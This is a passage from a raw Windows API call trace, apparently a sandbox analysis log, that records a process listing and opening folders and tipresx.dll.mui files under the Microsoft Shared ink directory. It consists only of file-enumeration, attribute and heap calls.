cAlternateFileName="")) returned 0 [0232.328] GetLastError () returned 0x12 [0232.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.328] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0232.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.328] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0232.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0232.329] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x900118 [0232.329] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x900118, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x900118, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x900118) returned 1 [0232.329] NtClose (Handle=0x1b4) returned 0x0 [0232.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.329] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.329] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff8a8 [0232.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe938 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.330] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.330] GetLastError () returned 0x12 [0232.330] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0232.330] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.330] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.330] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.330] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.330] GetLastError () returned 0x12 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.330] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0232.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.330] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0232.330] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0232.331] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0232.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.331] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x900118 [0232.331] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x900118, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x900118, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x900118) returned 1 [0232.331] NtClose (Handle=0x1b0) returned 0x0 [0232.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.331] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0232.332] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.332] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.332] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.332] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0232.332] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff8c8 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fea40 [0232.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c0) returned 0x900118 [0232.332] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ffe90) returned 1 [0232.332] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.332] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.332] GetLastError () returned 0x12 [0232.332] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.332] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.332] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.332] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.332] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.332] GetLastError () returned 0x12 [0232.332] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.332] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0232.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.333] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0232.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0232.333] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9003e0 [0232.333] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9003e0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9003e0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9003e0) returned 1 [0232.333] NtClose (Handle=0x1b4) returned 0x0 [0232.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.333] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.334] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.334] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0232.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff8e8 [0232.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8feb48 [0232.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.334] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.334] GetLastError () returned 0x12 [0232.334] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0232.334] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.334] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.334] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.334] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.334] GetLastError () returned 0x12 [0232.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.334] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0232.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.335] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, 